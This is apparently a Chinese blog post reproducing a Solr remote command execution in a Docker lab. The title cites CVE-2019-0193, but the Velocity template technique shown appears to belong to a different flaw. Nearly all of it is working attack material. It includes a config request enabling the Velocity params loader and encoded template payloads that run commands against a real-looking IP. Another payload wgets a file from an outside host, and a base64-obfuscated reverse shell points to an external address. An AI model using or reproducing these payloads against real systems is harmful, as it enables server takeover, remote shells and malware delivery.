Solr远程命令执行复现（cve-2019-0193)_solr cve-2019-0193

环境搭建

启动环境并创建集合

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
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环境搭建完成

漏洞利用

• 查看模块名称
  

• 构造包开启params.resource.loader.enabled

POST /solr/test/config HTTP/1.1
Host: x.x.x.x:8983
Content-Type: application/json
Content-Length: 259
x.x.x.x
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
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• 命令执行
  POST

http://118.24.150.160:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami %27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
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• 下载文件

http://x.x.x.x:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27wget -O /tmp/aaaaaa http://x.x.x.x/1.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
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• 反弹shell

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDcuMjQ2Ljk5Ljc2Lzg4ODggMD4mMQ== |base64 -d|bash -i
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